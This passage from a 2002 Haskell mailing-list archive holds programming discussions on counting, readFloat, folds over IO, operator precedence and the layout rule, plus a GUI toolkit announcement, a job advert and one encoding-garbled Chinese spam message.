http://webmail.netscape.com/ From reid@cs.utah.edu Tue May 28 17:34:40 2002 From: reid@cs.utah.edu (Alastair Reid) Date: 28 May 2002 17:34:40 +0100 Subject: Efficient way to code "(symbol,multiplicity)-counting" - how? In-Reply-To: <3CF1A49C.7050806@austrics.com.au> References: <3CEC96D1.6070000@austrics.com.au> <3CF1A49C.7050806@austrics.com.au> Message-ID: > > > type Multiplicity a = [(a,Int)] > > Can we say "Multiplicity a" *is* "[(a,Int)]", or do we say > "Multiplicity a" *is_a_distinct_yet_identical_copy_of* "[(a,Int)]"? Type synonyms are like typedef or #define in C: they create a fresh name for an already existing type. Use newtype if you want to create fresh types. > Does it make a difference whether you write "filter (==a) as" or > "filter (a==) as"? The two versions of the predicate translate to: (== a) ~~~> flip (==) a == \ x -> (x == a) (a ==) ~~~> (==) a == \ x -> (a == x) These are equivalent since any sensible instance of == is reflexive. There's probably a marginal gain in efficiency from using (a ==) when the compiler doesn't inline the definition of filter and no gain at all when it does. >> counts :: Eq a => [a] -> Multiplicity a >> counts as = [ (a, length (filter (==a) as)) | a <- List.nub as ] > What do you think of the following as an alternative definition of > counts? > > counts [] = [] > counts (a:as) = (a,b+1) : counts cs where (b,cs)=strip a as > > strip :: Eq a => a -> [a] -> (Int,[a]) > strip a [] = (0,[]) > strip a (b:bs) = if (a==b) then (c+1,ds) else (c,b:ds) > where (c,ds) = strip a bs > > I am trying to work out how to code fast and memory efficient > haskell. Is the above a good approach? Note that you're writing a slightly different function - the functions give different results for: counts ['a','b','a','a'] but that difference probably won't affect your code. As for coding style, if you care about performance this much, you should use GHC. GHC should do a pretty good job at optimizing code like this (which is a slightly more concise version of yours). counts [] = [] counts (a:as) = (a, length xs):counts ys where (xs,ys) = takeWhile (a==) as > > Symbols are elements of a methematical structure that have a first > > element, a final element and an increment function. > > > > [I'm making this a 1st class structure because I want to be able to > > share the symbols structure between multiple invocations of next. I > > will use this structure a lot like the way I would a typeclass - > > except that I will explicitly create my own instance.] > > I'm a little unsure about what you are saying here. Am I right in > thinking a 1st class structure is one that may be thought of as data? Yes, that's what I meant. > What is the alternative here? Are you saying that by defining such a > structure, you can calculate the concepts once, and then pass them > around, rather than calculating them at each step of the process? Yes. I could have searched for the last element in the list each time round the loop (erm, I mean 'on each recursive call to incF') but that would have been horribly inefficient. Or I could have searched for the last element in the list once for each time incF was non-recursively invoked: incF ms x = incF' x where first = ... last = ... incF' x = ... incF'... but that would be a bit inefficient too. > > The nxt function is a bit inefficient. We're hampered here by > > polymorphism: if all you can do is an equality test, you can't do > > better than a linear time lookup. A binary tree could be used instead > > of the zip if we had an Ord instance; an array if we had an Ix > > instance. > > But we can assume that the "digits" are ordered, this ordering given > by the order in which they occur in the multiplicity. Is there a way > of using this to make the digits an Ord instance? And if so, how do you > do the binary tree? -- http://www.haskell.org/ghc/docs/latest/set/finitemap.html import FiniteMap mkTree :: Ord a => [(a,b)] -> FiniteMap a b mkTree abs = listToFM abs getTree :: Ord a => a -> FiniteMap a b -> -> Maybe b getTree a t = lookupFM t a Arrays (http://www.haskell.org/onlinelibrary/array.html) would work if you can _efficiently_ turn your index values into Ints but if you can do that, you probably have an Enum instance http://www.haskell.org/onlinereport/basic.html http://www.haskell.org/onlinereport/standard-prelude.html#$tEnum > > > testF f = putStr $ showFigures (take 110 f) > > What does the "$" do in the above? In http://www.haskell.org/onlinereport/standard-prelude.html#$v$D you'll se it has this pointless-looking definition: f $ x = f x Inlining this in testF gives: > testF f = putStr (showFigures (take 110 f)) which shows that I'm using it to avoid having too many parentheses. > > We've also ignored the importance of the multiplicity constraint. > > We can enforce this by discarding any result of incF2 which fails > > the constraint. > > > > > incF3 :: Eq a => Multiplicity a -> Symbols a -> Figure a -> Figure a > > > incF3 m s f = head (filter (countok m) (tail (iterate (incF2 m s) f))) > > The filter combined with a check that the multiplicity constraint is > satisfied will work, but how efficient is it? I am guessing that it > will depend how many are rejected. If most are rejected then it's > probably inefficient, but if only a few are, then it's the best > way. Are there any other pros and cons with this approach? I think that's the only con. The pro is that it's easy to write. > I am thinking that maybe a more efficient algorithm, in the case where > lots are expected to be rejected in the above, would be one involving > a dynamically changing multiplicity. Ie, when a symbol is chosen, the > multiplicity is modified to reduce the corresponding multiplicity by > 1. Of course, maybe I'm just thinking too much in the imperative > framework still --- where the multiplicity would be represented as an > array of values that could be reassigned. The problem seems to be > that lazy lists are not good when you want to do "random access > updates", which is roughly what we want to do with a multiplicity > list. Are there well known Haskell solutions to this kind of issue? Yup, that's the algorithm I was thinking of. The structure of the recursion would be something like: incF3 m s f = ... incF3 m' s f' where m' = remove x m If the multiplicity is small an association list [(a,b)] or binary tree will do - update it by copying. For medium sized multiplicities, an array is probably a good bet - again, update by copying. I think there's an implementation of arrays with efficient update kicking around in hslibs If the multiplicity is large, you can use mutable arrays http://www.haskell.org/ghc/docs/latest/set/sec-marray.html at the cost of having to learn what monads are. It should also be possible to provide immutable arrays with constant time update and lookup (so you would not have to learn about monads) but I don't see such a beast in the HS libraries (http://www.haskell.org/haddock/libraries/index.html) > By the way, the reason I wanted my counting to wrap back to "[]" after > getting to the maximum figure, is so the function "next" would always > work. But your email suggested to me an alternative solution. I could > just use the "Maybe" data type! Ie, trying to do a next on the maximum > figure just gives you the Maybe "Nothing". I was wondering why you did the wraparound... In fact, I was wondering why [] was in the list - it didn't seem to belong either. -- Alastair Reid reid@cs.utah.edu http://www.cs.utah.edu/~reid/ From simonpj@microsoft.com Tue May 28 17:57:58 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Tue, 28 May 2002 09:57:58 -0700 Subject: readFloat Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft.com> Folks I'm back to tidying up the Haskell Report. In the Numeric library, there is the useful function readFloat :: RealFloat a =3D> ReadS a But you can't use it for reading rationals, because Rational isn't in RealFloat! This is a Royal Pain, and entirely unnecessary. In fact, readFloat uses only operations from the RealFrac class, so it could equally well have type readFloat :: RealFrac a =3D> ReadS a I'm strongly inclined to make this change. It breaks no programs, and it fixes a real bug i.e. there is no way to read a "103" as a Rational. Simon From cxl@informatik.uni-bremen.de Tue May 28 23:32:10 2002 From: cxl@informatik.uni-bremen.de (Christoph Lueth) Date: Wed, 29 May 2002 00:32:10 +0200 Subject: Announce: HTk - a GUI toolkit for Haskell Message-ID: <15604.1386.757768.169427@interzone.local> It is our pleasure to announce the release of HTk, a graphical user interface toolkit and library for Haskell. =09 Version 0.98 (World Cup edition) Htk is a typed, portable encapsulation of Tcl/Tk into Haskell. Its distinctive features are the use of Haskell types and type classes for structuring the interface, an abstract notion of event for describing user interaction, and portability across Windows, Unix and Linux. HTk is easily installed -- we provide precompiled binaries for Windows & Linux on x86 and Sparc/Solaris. All you need apart from one of these= and a matching version of GHC (5.02.3) is a reasonable recent installation of the Tcl/Tk interpreter "wish". HTk should be particularly useful for teaching, but its reliability and extensive functionality also make it useful in many Haskell projects requiring easily designed graphical user interfaces. This release is for version 0.98. We hope to release version 1.00 in August. The HTk Homepage is http://www.informatik.uni-bremen.de/htk There, you will find binary downloads, source downloads, documention, and much more. HTk is (C) Universit=E4t Bremen, 2002. All rights reserved. Please do not hestitate to directed any further questions to=20 =09=09=09=09George Russell =20 =09=09=09=09Christoph L=FCth From info@raeline.net Wed May 29 14:04:40 2002 From: info@raeline.net (raeline) Date: Wed, 29 May 2002 13:04:40 Subject: ÓòÃûÖ÷»úÈ«¹ú×îµÍ¼Û Message-ID: <20020529050709.1C3D1421F4A@www.haskell.org> ÄúºÃ£¬ºÜðζµÄ¸øÄãÀ´ÐÅ¡£Ï£ÍûÎÒµÄÀ´ÐÅ»á¸øÄú´øÀ´·½±ã¡£ רҵµÄÓòÃûÖ÷»ú·þÎñÉÌΪÄúÌṩ³¬µÍ¼Û£¬¸ßËÙ£¬°²È«£¬Îȶ¨µÄÖ÷»ú·þÎñ¡£ 30MÖ÷»úÖ»Ðè198Ôª¡£ »¹Ë͹ú¼ÊÓòÃû¼°ÓÊÏä¡£ ¹¦ÄÜ£ºÖ§³ÖCGI PHP MYSQL SQL£¬ACCESS ASP 50M ¡¢100M ¡¢200M ÏêÇéÇë¿´£ºhttp://www.raeline.net È«¹ú×îµÍ¼ÛµÄ´úÀí¼Û¸ñ¡£×ÉѯQQ£º16559573 ¿ÉÒÔË÷È¡´úÀí¼Û¸ñ±í¡£ È«¹ú×îÎȶ¨,¿ÉÍæÐÔ×îºÃ¡£ÈËÆø×îÍúµÄ½­ºþ£ºhttp://www.xajh.com.cn Ö£ÖØ³Ðŵ£ºÖ÷»úʹÓò»ÂúÒ⣬ÎÒÃǰ´Êµ¼ÊʹÓÃʱ¼äÍ˿ TEL£º0592-2281881-29 (ФÏÈÉú) FAX£º0592-2682299 ÈðÀ´ÍøÂç¼¼Êõ(ÏÃÃÅ)ÓÐÏÞ¹«Ë¾ ʹÓü«ÐÇÓʼþȺ·¢£¬ÎÞÐëͨ¹ýÓʼþ·þÎñÆ÷£¬Ö±´ï¶Ô·½ÓÊÏ䣬ËٶȾø¶ÔÒ»Á÷£¡ ÏÂÔØÍøÖ·£ºhttp://www.lovexin.com£¬¸ü¶àÃâ·ÑµÄ³¬¿áÈí¼þµÈÄãÀ´Ï¡­¡­ ---------------------------------------------------- INFORMATION This message has been sent using a trial-run version of the TSmtpRelayServer Delphi Component. ---------------------------------------------------- From joe@isun.informatik.uni-leipzig.de Wed May 29 11:20:22 2002 From: joe@isun.informatik.uni-leipzig.de (Johannes Waldmann) Date: Wed, 29 May 2002 12:20:22 +0200 (MET DST) Subject: Announce: HTk - a GUI toolkit for Haskell In-Reply-To: <15604.1386.757768.169427@interzone.local> from Christoph Lueth at "May 29, 2002 00:32:10 am" Message-ID: <200205291020.MAA05938@isun11.informatik.uni-leipzig.de> > HTk, a graphical user interface toolkit and library for Haskell. what are the differences to FranTk ( http://haskell.cs.yale.edu/FranTk/ ) ? best regards, -- -- Johannes Waldmann ---- http://www.informatik.uni-leipzig.de/~joe/ -- -- joe@informatik.uni-leipzig.de -- phone/fax (+49) 341 9732 204/252 -- From Jon.Fairbairn@cl.cam.ac.uk Wed May 29 11:23:26 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Wed, 29 May 2002 11:23:26 +0100 Subject: fold on Monad? Message-ID: <7725.1022667806@cl.cam.ac.uk> Suppose I have a task I want to do to each line of a file, accumulate a result and output it, I can write main =3D do stuff <- getContents print $ foldl process_line initial_value (lines stuff) ie, it's obviously a fold I can't see a way of doing the same thing directly on the IO: I'd like to write something similar to main =3D do res <- foldX process_line initial_value getLine print res foldM almost does it: main =3D do res <- foldM process initial_value (repeat getLine) print res process a g =3D do line <- g return (process_line a line) but that goes on forever (or some fixed amount if (replicate n/repeat)) I feel this ought to be straightforward -- the structure is obviously some sort of fold, but I shouldn't have to use a list -- so I must be missing something obvious. What is it? J=F3n -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From mechvel@botik.ru Wed May 29 12:09:53 2002 From: mechvel@botik.ru (Serge D. Mechveliani) Date: Wed, 29 May 2002 15:09:53 +0400 Subject: GMP from haskell In-Reply-To: <20020529111823.676201fd.Malcolm.Wallace@cs.york.ac.uk>; from Malcolm.Wallace@cs.york.ac.uk on Wed, May 29, 2002 at 11:18:23AM +0100 References: <20020529111823.676201fd.Malcolm.Wallace@cs.york.ac.uk> Message-ID: <20020529150953.A384@botik.ru> > Hal Daume III writes: > > The gnu web page > (www.gnu.org/manual/gmp-4.0.1/html_node/gmp_70.html) claims that Haskell > (GHC) has bindings to GMP. Is this true? How can I access these > routines? Some Haskell systems mention that they use GMP to implement many functions for Integer. There are open-source libraries: GMP, and some others (do not remember the names), written in C, implementing a lot of mathematics, advanced algorithms and programs designed by expert mathematicians, like say Lenstra. For example, the factorization function for Integer, and useful functions for algebraic numbers (if I recall correct) are available, not only for Integer. The advantage is also that these methods win many times in comparison to what the naive user writes in several lines of one's Haskell program. If the Haskell implementors take care of mathematician users, they could consider the possibility to arrange the interface to these functions and thus extend the library with many useful operations items (mainly, not of Haskell-98 standard). ----------------- Serge Mechveliani mechvel@botik.ru From gmh@Cs.Nott.AC.UK Wed May 29 12:09:47 2002 From: gmh@Cs.Nott.AC.UK (Graham Hutton) Date: Wed, 29 May 2002 12:09:47 +0100 Subject: New lectureship in Nottingham Message-ID: <20020529111020.BCA54421F21@www.haskell.org> Dear all, We are currently advertising a new lectureship in Nottingham. There are no particular research areas specified for this position, but applications in the area of the Foundations of Programming research group (http://www.cs.nott.ac.uk/Research/fop/) would be most welcome. Further details about the position is available from: http://www.nottingham.ac.uk/personnel/vacancies/academic.html#RUB/457S The closing date for applications is 14th June 2002. Graham Hutton +----------------------------------------------------------------------------+ | Dr Graham Hutton Email : gmh@cs.nott.ac.uk | | Foundations of Programming Group Web : http://www.cs.nott.ac.uk/~gmh | | School of Computer Science and IT | | University of Nottingham | | Jubilee Campus, Wollaton Road | | Nottingham NG8 1BB Phone : +44 (0)115 951 4220 | | United Kingdom Fax : +44 (0)115 951 4254 | +----------------------------------------------------------------------------+ From C.Reinke@ukc.ac.uk Wed May 29 18:07:23 2002 From: C.Reinke@ukc.ac.uk (C.Reinke) Date: Wed, 29 May 2002 18:07:23 +0100 Subject: fold on Monad? In-Reply-To: Message from Jon Fairbairn of "Wed, 29 May 2002 11:23:26 BST." <7725.1022667806@cl.cam.ac.uk> Message-ID: > Suppose I have a task I want to do to each line of a file, > accumulate a result and output it, >.. > I'd like to write something similar to > > main = do res <- foldX process_line initial_value getLine > print res > I feel this ought to be straightforward -- the structure is > obviously some sort of fold, but I shouldn't have to use a > list -- so I must be missing something obvious. What is it? foldr, foldM, etc. derive a recursive computation from the recursive structure of an input list, so you have to feed one in. If you want to bypass the list, you could use IO-observations (getLine, isEOF) instead of list observations (head/tail, null): import IO foldX f c = catch (do l <- getLine r <- foldX f c return $ f l r) (\e->if isEOFError e then return c else ioError e) main = foldX (:) [] >>= print Whether that is a real fold, or what the real fold/unfold would look like, I leave to others;-) The same goes for optimization. Hth, Claus From Jon.Fairbairn@cl.cam.ac.uk Wed May 29 21:37:05 2002 From: Jon.Fairbairn@cl.cam.ac.uk (Jon Fairbairn) Date: Wed, 29 May 2002 21:37:05 +0100 Subject: IO and fold (was Re: fold on Monad? ) In-Reply-To: Your message of "Wed, 29 May 2002 18:07:23 BST." Message-ID: <9825.1022704625@cl.cam.ac.uk> > foldr, foldM, etc. derive a recursive computation from the > recursive structure of an input list, so you have to feed > one in. If you want to bypass the list, you could use > IO-observations (getLine, isEOF) instead of list > observations (head/tail, null): Yes you can define it, I should have been a bit more direct. It seems to me that there's something odd about the way the IO monad interacts with bulk operations on files. In particular, it seems odd that getContents should ever be the easiest way of tackling something, rather than some natural operation on Monads. Doing something to each line of a file is such a common kind of computation that it ought to be easy! It also seems wrong that end of file should be an exception -- after all, for most files other than a terminal or "special file", having an end is the norm. As a result, the definition you gave strikes me as awkward (no fault of yours!). It suggests to me that a Monad isn't quite enough. One of the great things about fold is that you don't have to code the test for the end: it's encapsulated in the higher-order function. Shouldn't there be the same for IO? > Whether that is a real fold, or what the real fold/unfold would > look like, I leave to others;-) I suppose that was part of my real question, aimed at the others who've got the mental processing power to answer such things. Cheers, J=F3n -- = J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.u= k 31 Chalmers Road jf@cl.cam.ac.uk Cambridge CB1 3SZ +44 1223 570179 (after 14:00 only, please!) From wolfgang@jeltsch.net Wed May 29 22:10:44 2002 From: wolfgang@jeltsch.net (Wolfgang Jeltsch) Date: 29 May 2002 23:10:44 +0200 Subject: readFloat In-Reply-To: <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. com> References: <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. com> Message-ID: <1022706226.1490.12.camel@localhost.localdomain> On Tuesday, 2002-05-28, 18:57, CEST Simon Peyton-Jones wrote: > Folks > > I'm back to tidying up the Haskell Report. > > In the Numeric library, there is the useful function > > readFloat :: RealFloat a => ReadS a > > But you can't use it for reading rationals, because Rational > isn't in RealFloat! > > This is a Royal Pain, and entirely unnecessary. In fact, > readFloat uses only operations from the RealFrac class, > so it could equally well have type > > readFloat :: RealFrac a => ReadS a > > I'm strongly inclined to make this change. It breaks no > programs, and it fixes a real bug i.e. there is no way to > read a "103" as a Rational. > > Simon It would be strange to name a function readFloat if its type is RealFrac a => ReadS a. I think the function should be named readFrac. For compatibility, one could put the following into the prelude: readFloat :: RealFloat a => ReadS a readFloat = readFrac And one could mark readFloat as depricated and maybe remove it in some future version of Haskell. Ciao, Wolfgang From hdaume@ISI.EDU Wed May 29 23:27:48 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Wed, 29 May 2002 15:27:48 -0700 (PDT) Subject: reverse function application Message-ID: i have a function: (*==) :: B -> (C -> IO a) -> IO a basically, it takes b, does something to it to make c, performs the action on c and returns the value. the Bs are basically Doubles, so we'll consider them as such for now. suppose I want to string together a bunch of these things...i can write: 5 *== \x -> 6 *== \y -> somefunctiononxandy x y but i'd really like to be able to write: 5 *== 6 *== somefunctiononxandy or, secondarily 5 *== (6 *== somefunctiononxandy) but i can't seem to get this to work and my brain is beginning to hurt. i suppose this is basically the same as wanting to write something like: action1 >>= action2 >>= somefunction instead of action1 >>= \x -> action2 >>= \y -> somefunction x y so if it can be done for >>=, i can make it to work. any advice? - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume From simonpj@microsoft.com Thu May 30 09:10:02 2002 From: simonpj@microsoft.com (Simon Peyton-Jones) Date: Thu, 30 May 2002 01:10:02 -0700 Subject: readFloat Message-ID: <1113DDB24D4A2841951BFDF86665EE1901041FE0@RED-MSG-10.redmond.corp.microsoft.com> | It would be strange to name a function readFloat if its type is | RealFrac a =3D> ReadS a. | I think the function should be named readFrac. For=20 | compatibility, one could put the following into the prelude: | readFloat :: RealFloat a =3D> ReadS a | readFloat =3D readFrac Well, that would be possible, but there are other naming inconsistencies in the Prelude; indeed, even in the numeric library. =20 My inclination is to put up with the inconsistency. You have to look up the type to use it anyhow. Simon From mark@austrics.com.au Thu May 30 09:32:54 2002 From: mark@austrics.com.au (Mark Phillips) Date: Thu, 30 May 2002 18:02:54 +0930 Subject: query about precedence: "$", the lazy function application operator Message-ID: <3CF5E3B6.80503@austrics.com.au> Hi, As I understand it, function application has highest precedence (10 even!) whereas $, the operator which does the same thing, has lowest precedence (0 even!). But there's something that doesn't make sense to me. Suppose I have functions f :: Int -> Int f x -> x * x g :: Int -> Int g x -> x + 1 The lazy application operator "$" allows me to do: f $ g x instead of f (g x) But I don't understand why it works this way! Let me explain. f is a function, and application has highest precedence, so unless it sees a bracket, it should take the next thing it sees as an argument. Lo and behold the next thing it sees is "$", which is not a bracket! So it should try and apply f to argument $. But oh dear, $ is a function (operator actually); it is not an Int at all! So an error should be reported! So what am I not understanding properly? Thanks, Mark. -- Dr Mark H Phillips Research Analyst (Mathematician) AUSTRICS - Smarter Scheduling Solutions - www.austrics.com Level 2, 50 Pirie Street, Adelaide SA 5000, Australia Phone +61 8 8226 9850 Fax +61 8 8231 4821 Email mark@austrics.com.au From joe@isun.informatik.uni-leipzig.de Thu May 30 09:44:58 2002 From: joe@isun.informatik.uni-leipzig.de (Johannes Waldmann) Date: Thu, 30 May 2002 10:44:58 +0200 (MET DST) Subject: query about precedence: "$", the lazy function application operator In-Reply-To: <3CF5E3B6.80503@austrics.com.au> from Mark Phillips at "May 30, 2002 06:02:54 pm" Message-ID: <200205300844.KAA10815@isun11.informatik.uni-leipzig.de> > f $ g x using the notations from http://haskell.org/onlinereport/lexemes.html, `f' and `g' are varids, while `$' is a conid. see also http://haskell.org/onlinereport/exps.html, `f $ g x' is parsed as exp -> exp qop exp -> exp qop ( fexp ) -> exp qop (fexp axep) (regardless of precedences) best regards, -- -- Johannes Waldmann ---- http://www.informatik.uni-leipzig.de/~joe/ -- -- joe@informatik.uni-leipzig.de -- phone/fax (+49) 341 9732 204/252 -- From afie@cs.uu.nl Thu May 30 09:50:43 2002 From: afie@cs.uu.nl (Arjan van IJzendoorn) Date: Thu, 30 May 2002 10:50:43 +0200 Subject: query about precedence: "$", the lazy function application operator References: <3CF5E3B6.80503@austrics.com.au> Message-ID: <006301c207b7$2151be10$ec50d383@sushi> Hi Mark, > Suppose I have functions > > f :: Int -> Int > f x -> x * x I suppose you mean: f x = x * x > g :: Int -> Int > g x -> x + 1 > > The lazy application operator "$" allows me to do: > > f $ g x > > instead of > > f (g x) > > But I don't understand why it works this way! Let me explain. > f is a function, and application has highest precedence, so unless > it sees a bracket, it should take the next thing it sees as an > argument. Yes, but "$" cannot be an argument. In the Haskell grammar for expressions ( http://www.haskell.org/onlinereport/exps.html ) an application (fexp) consists of one or aexp's and an aexp cannot be an operator (at least not, without parentheses around it). A simpler way to see this is to write application as an explicit operator. Let's call it @. Above expression then reads f $ g @ x And @ binds stronger than $, alas f $ (g @ x) Arjan From claus.reinke@talk21.com Thu May 30 10:25:27 2002 From: claus.reinke@talk21.com (Claus Reinke) Date: Thu, 30 May 2002 10:25:27 +0100 Subject: IO and fold (was Re: fold on Monad? ) References: <9825.1022704625@cl.cam.ac.uk> Message-ID: <003101c207bb$f010b220$ae1ffea9@Standard> >> foldr, foldM, etc. derive a recursive computation from the >> recursive structure of an input list, so you have to feed >> one in. If you want to bypass the list, you could use >> IO-observations (getLine, isEOF) instead of list >> observations (head/tail, null): > >Yes you can define it, And you can, as well. That's how common idioms come into being; there's no special magic about the folds already in existence. Just because people have done fold already for lists, trees, functors,.. doesn't mean that you won't have to define your own useful abstractions every now and then. They evolve with input from theory and practice, some forms survive, and become common. >It seems to me that there's something odd about the way the >IO monad interacts with bulk operations on files. That may be more related to IO than to the monadic approach to it (try to think it over with a world-passing approach). And if you really just want ot process text, there's interact, which worked well enough for this purpose before IO became more general and more controlable. >In particular, it seems odd that getContents should ever be the >easiest way of tackling something, Who says that? It's the laziest (as in: I don't want to invest any time in this) way, and as it exists, it is often used for quick demos, examples and explanations, e.g., here on the list.That doesn't mean you have (or want) to use it for all programs (e.g., lazy i/o has interesting interactions with concurrency:), and once you start using monadic style more, you'll develop useful abstractions for common idioms, just as it happened for list programming. Some of those are already in the standard libraries, but you'll still develop your own preferences. Haskell allows you to express those, in libraries, usually without language extensions or help from implementers. It only takes a little effort to get away from things that look convenient, but may not be in the long run. >rather than some natural operation on Monads. Monads are about the type constructor, >>=, and return. Things like getLine have been thrown into this framework for practical use, but the theory won't tell you much about them (you could take some concrete monads, and look at how folds distribute over them, then try to find a general pattern; the Meijer/Hutton "Bananas in Space" paper might be helpful). >Doing something to each line of a file is such a common kind >of computation that it ought to be easy! Who says it isn't?-) There are even several styles you could adopt, including use of interact, or use of your own abstractions on top of io-monad operations.. >It also seems wrong that end of file should be an exception >-- after all, for most files other than a terminal or >"special file", having an end is the norm. As a result, the >definition you gave strikes me as awkward (no fault of >yours!). It suggests to me that a Monad isn't quite enough. Again, nothing to do with monads - just my coding decision for that example.. If you prefer, you can redefine it using IO.isEOF (I mentioned that optimization was left to others:-). >One of the great things about fold is that you don't have to >code the test for the end: it's encapsulated in the >higher-order function. Shouldn't there be the same for IO? Isn't it? getContents = foldX (++) "" -- we drop the newlines here.. getLines = foldX (:) [] No eof-testing in sight. Note that the list fold *definition* needs to test for the empty list as well (unless you restrict yourself to infinite lists) - why else would you pass in an initial value? Just to make the comparison explicit (not tested): foldr c n l = if null l then n else let h = head l ft = foldr c n (tail l) in c h ft mif c t e = c >>= \b->if b then t else e foldX c n = do mif isEOF (return n) (do l <- getLine fls <- foldX c n return (c l fls) ) So we've mostly got a fold lifted into the io-monad, with getLine delivering the "head" (and implicitly truncating further input to the "tail"). What more do you want?-) Hth, Claus From jf15@hermes.cam.ac.uk Thu May 30 10:26:53 2002 From: jf15@hermes.cam.ac.uk (Jon Fairbairn) Date: Thu, 30 May 2002 10:26:53 +0100 (BST) Subject: layout rule infelicity Message-ID: Two very similar programmmes: > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) I think this is extremely bad language design! In general I like having layout rules, but I've often thought that they ought to take note of expressions, not just things in {...} and that there ought to be "dead zones" where no programme text is allowed, so that everything starting with the second example and ending with > possible_int =3D do skip_blanks > fmap Just int > +++ (literal "-" `as` Nothing) should be rejected. This example clinches it for me. Can anyone more au fait with the layout rule figure out how to do it? (My past irritation was that ... if p then q else r is acceptable in some circumstances, but one has to use ... if p then q else r in others. Having programmes rejected I don't mind, but having them accepted when they are too close to right but still wrong, I really do mind) --=20 J=F3n Fairbairn Jon.Fairbairn@cl.cam.ac.uk From ashley@semantic.org Thu May 30 10:46:39 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 02:46:39 -0700 Subject: layout rule infelicity Message-ID: <200205300946.CAA27078@mail4.halcyon.com> At 2002-05-30 02:26, Jon Fairbairn wrote: >I think this is extremely bad language design! In general I >like having layout rules, but ... What's the deal with the whole "layout" thing anyway? I've never come across it before in another language. Is it an academic thing? It drove me nuts when I first started Haskell, until I discovered you could use semicolons/braces instead (which I always do). If I were teaching Haskell to "working programmer" types like myself, I would encourage them to always use full semicolons and braces and forget layout entirely (except a lot of available Haskell source seems to use it). Certainly I find {;} more readable, and I suspect anyone else with a C/C++/Java background (or even a Scheme/Lisp background) does too. -- Ashley Yakeley, Seattle WA From ashley@semantic.org Thu May 30 10:52:01 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 02:52:01 -0700 Subject: layout rule infelicity Message-ID: <200205300952.CAA27217@mail4.halcyon.com> At 2002-05-30 02:46, I wrote: >What's the deal with the whole "layout" thing anyway? I've never come >across it before in another language. Oh, wait, there's Python and Ruby. For some reason it doesn't bother me so much with them. -- Ashley Yakeley, Seattle WA From lennart@augustsson.net Thu May 30 10:54:11 2002 From: lennart@augustsson.net (Lennart Augustsson) Date: Thu, 30 May 2002 05:54:11 -0400 Subject: layout rule infelicity References: <200205300946.CAA27078@mail4.halcyon.com> Message-ID: <3CF5F6C3.EEF1C2E5@augustsson.net> Ashley Yakeley wrote: > At 2002-05-30 02:26, Jon Fairbairn wrote: > > >I think this is extremely bad language design! In general I > >like having layout rules, but > ... > > What's the deal with the whole "layout" thing anyway? I've never come > across it before in another language. Is it an academic thing? How about FORTRAN (to a very small extent) or Python? I used to dislike layout, but I must say that it didn't take long to become a supporter once you start using it. If you look at C (& offspring), it's not the {;} that makes the code readable, it's the indentation that does. So why not acknowledge that? -- Lennart From tweed@compsci.bristol.ac.uk Thu May 30 11:10:50 2002 From: tweed@compsci.bristol.ac.uk (D. Tweed) Date: Thu, 30 May 2002 11:10:50 +0100 (BST) Subject: layout rule infelicity In-Reply-To: <200205300946.CAA27078@mail4.halcyon.com> Message-ID: On Thu, 30 May 2002, Ashley Yakeley wrote: > it). Certainly I find {;} more readable, and I suspect anyone else with a > C/C++/Java background (or even a Scheme/Lisp background) does too. Just a data point: I learned Basic, Pascal, Standard ML, C, Haskell, C++, Perl, Python in that order and actively use Haskell, C++, Perl & Python at the moment, and I find the `visual noise' of braces and semi-colons in C++ and Perl to be very irritating when, as Lennart points out, to be readable by me my code has to embody these structures by layout. (It's primarily the noise of all those `fun', `val' and `end's rather than deeper language issues that put me off looking at ML again.) Indeed, I (half) there ought to be a warning on the main page of Haskell.org saying `WARNING: Using Haskell can lead to semi-colon blindness' since I relatively frequently spend ten minutes trying to figure out why C++ code isn't compiling only to realise that, whilst indented structurally the semi-colons are missing :-S I suspect using layout rule is forever destined to be controversial... ___cheers,_dave_________________________________________________________ www.cs.bris.ac.uk/~tweed/ | `It's no good going home to practise email:tweed@cs.bris.ac.uk | a Special Outdoor Song which Has To Be work tel:(0117) 954-5250 | Sung In The Snow' -- Winnie the Pooh From ashley@semantic.org Thu May 30 11:18:16 2002 From: ashley@semantic.org (Ashley Yakeley) Date: Thu, 30 May 2002 03:18:16 -0700 Subject: layout rule infelicity Message-ID: <200205301018.DAA27906@mail4.halcyon.com> At 2002-05-30 02:54, Lennart Augustsson wrote: >If you look at C (& offspring), it's not the {;} that makes the code >readable, it's the indentation that does. So why not acknowledge that? In C, the indentation is an important visual clue, but there are many different indentation styles. It's the braces that actually tell you the beginning and end of a block. I might also use indentation for non-blocks, for instance: void foo (int n) { if (n > 0) bar ( "Sproing!", // title getBounds(n), // bounds true, // bordered true, // bright false, // not transparent true, // use v2 appearance 5, // shadow size null // next ); } Equally, I always indent my braced blocks in Haskell as well as C (& o). If you're used to braces, complicated Haskell expressions with layout look confusing, since it's not immediately clear which indentation style the layout rules are trying to enforce. It's also not clear to the unlearned how best to split an expression onto two lines, or how it interacts with parentheses, etc. And then there are those nasty little infelicities... -- Ashley Yakeley, Seattle WA From cxl@Informatik.Uni-Bremen.DE Thu May 30 10:38:32 2002 From: cxl@Informatik.Uni-Bremen.DE (Christoph Lueth) Date: 30 May 2002 11:38:32 +0200 Subject: Announce: HTk - a GUI toolkit for Haskell In-Reply-To: <200205291020.MAA05938@isun11.informatik.uni-leipzig.de> References: <200205291020.MAA05938@isun11.informatik.uni-leipzig.de> Message-ID: Johannes Waldmann writes: > > HTk, a graphical user interface toolkit and library for Haskell. > > what are the differences to FranTk ( http://haskell.cs.yale.edu/FranTk/ ) ? In a nutshell, it uses a different event model. As far as I understand, FranTk allows you to describe the user 